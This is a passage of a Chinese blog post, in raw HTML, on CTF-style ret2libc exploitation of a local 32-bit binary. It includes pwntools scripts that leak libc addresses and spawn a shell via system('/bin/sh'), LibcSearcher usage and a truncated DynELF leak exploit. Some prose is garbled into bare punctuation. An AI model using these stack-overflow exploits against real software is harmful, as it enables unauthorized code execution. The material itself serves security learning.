< p > 使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录， ： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ ldd ret2libc3< / span > < br > < span class = "line" > linux-gate.so.1 (0xf7f6b000)< / span > < br > < span class = "line" > libc.so.6 => /lib32/libc.so.6 (0xf7d74000)< / span > < br > < span class = "line" > /lib/ld-linux.so.2 (0xf7f6d000)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > han at ubuntu in ~/ck/pwn/linux/ret2libc< / span > < br > < span class = "line" > $ cp /lib32/libc.so.6 libc.so< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h3 id = "pwn测试-3" > < a href = "#pwn测试-3" class = "headerlink" title = "pwn测试" > < / a > pwn测试< / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from pwn import *< / span > < br > < span class = "line" > from LibcSearcher import LibcSearcher< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(' ./ret2libc3' )< / span > < br > < span class = "line" > elf = ELF(' ./ret2libc3' )< / span > < br > < span class = "line" > libc = ELF(' ./libc.so' )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > puts_plt = elf.plt[' puts' ]< / span > < br > < span class = "line" > libc_start_main_got =elf.got[' __libc_start_main' ]< / span > < br > < span class = "line" > main = elf.symbols[' main' ]< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > print(" leak libc_start_main_got addr and return to main again" )< / span > < br > < span class = "line" > payload = flat([' a' *112],puts_plt,main,libc_start_main_got)< / span > < br > < span class = "line" > p.sendlineafter(' Can you find it !?' ,payload)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > print(" receiving libc_start_main_got" )< / span > < br > < span class = "line" > libc_start_main_addr = u32(p.recv(4))< / span > < br > < span class = "line" > print(' libc_start_main_addr = ' + hex(libc_start_main_addr))< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > print(" calculating system() addr and \" /bin/sh\" addr" )< / span > < br > < span class = "line" > system_addr = libc_start_main_addr + (libc.symbols[' system' ]-libc.symbols[' __libc_start_main' ])< / span > < br > < span class = "line" > print(' system_addr= ' + hex(system_addr))< / span > < br > < span class = "line" > binsh_addr = libc_start_main_addr + (next(libc.search(' /bin/sh' ))-libc.symbols[' __libc_start_main' ])< / span > < br > < span class = "line" > print(' binsh_addr= ' + hex(binsh_addr))< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > print(" get shell" )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > print(p32(system_addr),p32(binsh_addr))< / span > < br > < span class = "line" > payload = flat([' a' *104,system_addr,0xdeadbeef,binsh_addr])< / span > < br > < span class = "line" > p.sendline(payload)< / span > < br > < span class = "line" > p.interactive()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< blockquote >
< ol >
< li > ELF模块< br > ELF模块用于获取ELF文件的信息， ， ， < br > 下面演示了： （ ） < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > > > > > e = ELF(' /bin/cat' )< / span > < br > < span class = "line" > > > > > print hex(e.address) # 文件装载的基地址< / span > < br > < span class = "line" > > 0x400000< / span > < br > < span class = "line" > > > > > print hex(e.symbols[' write' ]) # 函数地址< / span > < br > < span class = "line" > > 0x401680< / span > < br > < span class = "line" > > > > > print hex(e.got[' write' ]) # GOT表的地址< / span > < br > < span class = "line" > > 0x60b070< / span > < br > < span class = "line" > > > > > print hex(e.plt[' write' ]) # PLT的地址< / span > < br > < span class = "line" > > 0x401680< / span > < br > < span class = "line" > > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< / li >
< / ol >
< / blockquote >
< p > 如果无法直接知道对方所使用的操作系统及libc的版本而苦恼， ， ， < br > github上面有个库可以参考： < br > < a href = "https://github.com/lieanu/LibcSearcher" target = "_blank" rel = "noopener" > https://github.com/lieanu/LibcSearcher< / a > < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > from LibcSearcher import *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > #第二个参数，为已泄露的实际地址,或最后12位(比如： ， < / span > < br > < span class = "line" > obj = LibcSearcher(" fgets" , 0X7ff39014bd90)< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > obj.dump(" system" ) #system 偏移< / span > < br > < span class = "line" > obj.dump(" str_bin_sh" ) #/bin/sh 偏移< / span > < br > < span class = "line" > obj.dump(" __libc_start_main_ret" )< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< hr >
< h1 id = "0x05-Memory-Leak-amp-DynELF-在不获取目标libc-so的情况下进行ROP攻击" > < a href = "#0x05-Memory-Leak-amp-DynELF-在不获取目标libc-so的情况下进行ROP攻击" class = "headerlink" title = "0x05 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击" > < / a > 0x05 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击< / h1 > < p > 参考的是蒸米的exp， ， < br > 他的方法是通过write@plt泄露内存， ’ ’ ， < br > ret2libc3的不同之处在于， ， ， ， ， ， ’ ’ ’ ’ ， ： < br > < a href = "https://www.anquanke.com/post/id/85129" target = "_blank" rel = "noopener" > https://www.anquanke.com/post/id/85129< / a > < br > < a href = "http://uprprc.club/2016/09/07/pwntools-dynelf.html" target = "_blank" rel = "noopener" > http://uprprc.club/2016/09/07/pwntools-dynelf.html< / a > < / p >
< figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > from< / span > pwn < span class = "keyword" > import< / span > *< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p = process(< span class = "string" > './ret2libc3'< / span > )< / span > < br > < span class = "line" > elf = ELF(< span class = "string" > './ret2libc3'< / span > )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > plt_puts = elf.symbols[< span class = "string" > 'puts'< / span > ]< / span > < br > < span class = "line" > main = elf.symbols[< span class = "string" > 'main'< / span > ]< / span > < br > < span class = "line" > plt_gets = elf.symbols[< span class = "string" > 'gets'< / span > ]< / span > < br > < span class = "line" > start_addr = elf.symbols[< span class = "string" > '_start'< / span > ]< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > leak< / span > < span class = "params" > (address)< / span > :< / span > < / span > < br > < span class = "line" > < span class = "keyword" > global< / span > i< / span > < br > < span class = "line" > count = < span class = "number" > 0< / span > < / span > < br > < span class = "line" > content = < span class = "string" > ''< / span > < / span > < br > < span class = "line" > x = p.recvuntil(< span class = "string" > '!?'< / span > )< / span > < br > < span class = "line" > payload1 = < span class = "string" > '\x90'< / span > *< span class = "number" > 112< / span > + p32(plt_puts) + p32(main) + p32(address)< / span > < br > < span class = "line" > p.sendline(payload1)< / span > < br > < span class = "line" > up = < span class = "string" > ""< / span > < / span > < br > < span class = "line" > < span class = "keyword" > while< / span > < span class = "literal" > True< / span > :< / span > < br > < span class = "line" > c = p.recv(< span class = "number" > 1< / span > )< / span > < br > < span class = "line" > count += < span class = "number" > 1< / span > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > up == < span class = "string" > '\n'< / span > < span class = "keyword" > and< / span > c == < span class = "string" > 'N'< / span > :< / span > < br > < span class = "line" > print((content).encode(< span class = "string" > 'hex'< / span > ))< / span > < br > < span class = "line" > content =content[:< span class = "number" > -1< / span > ]+< span class = "string" > '\x00'< / span > < / span > < br > < span class = "line" > < span class = "keyword" > break< / span > < / span > < br > < span class = "line" > < sp
< p > 这段代码在泄露第一个数据之后就失败了，我调试了好久，最后才想起来，< code > payload1 = ' \x90' *112 + p32(plt_puts) + p32(main) + p32(address)< / code > 这里如果使用的是main， ， （ ） ， （ ） < br > 一个事实是汇编程序的入口是_start， < / p >
< blockquote >
< p > 执行的流程是：< br > GCC将你的程序同crtbegin.o/crtend.o/gcrt1.o一块进行编译。其它默认libraries会被默认动态链接。可执行程序的开始地址被设置为_start。< br > 内核加载可执行文件， ， ， ， ， ， < br > 控制流程到了_start上面。_start从内核建立的堆栈上获取所有信息， < strong > libc_start_main建立参数栈， < / strong > libc_start_main。< br > < strong > libc_start_main初始化一些必要的东西， （ < br > 我们的main会以main(argv,argv)来被调用。事实上， < / strong > libc_start_main认为main的签名为main(int, char , char )，如果你感到好奇，尝试执行下面的程序。< br > < a href = "https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc/" target = "_blank" rel = "noopener" > https://www.mi1k7ea.com/2019/03/05/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2libc/< / a > < / p >
< / blockquote >
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var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
< / script >
< script >
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
< / script >
< / body >
< / html >
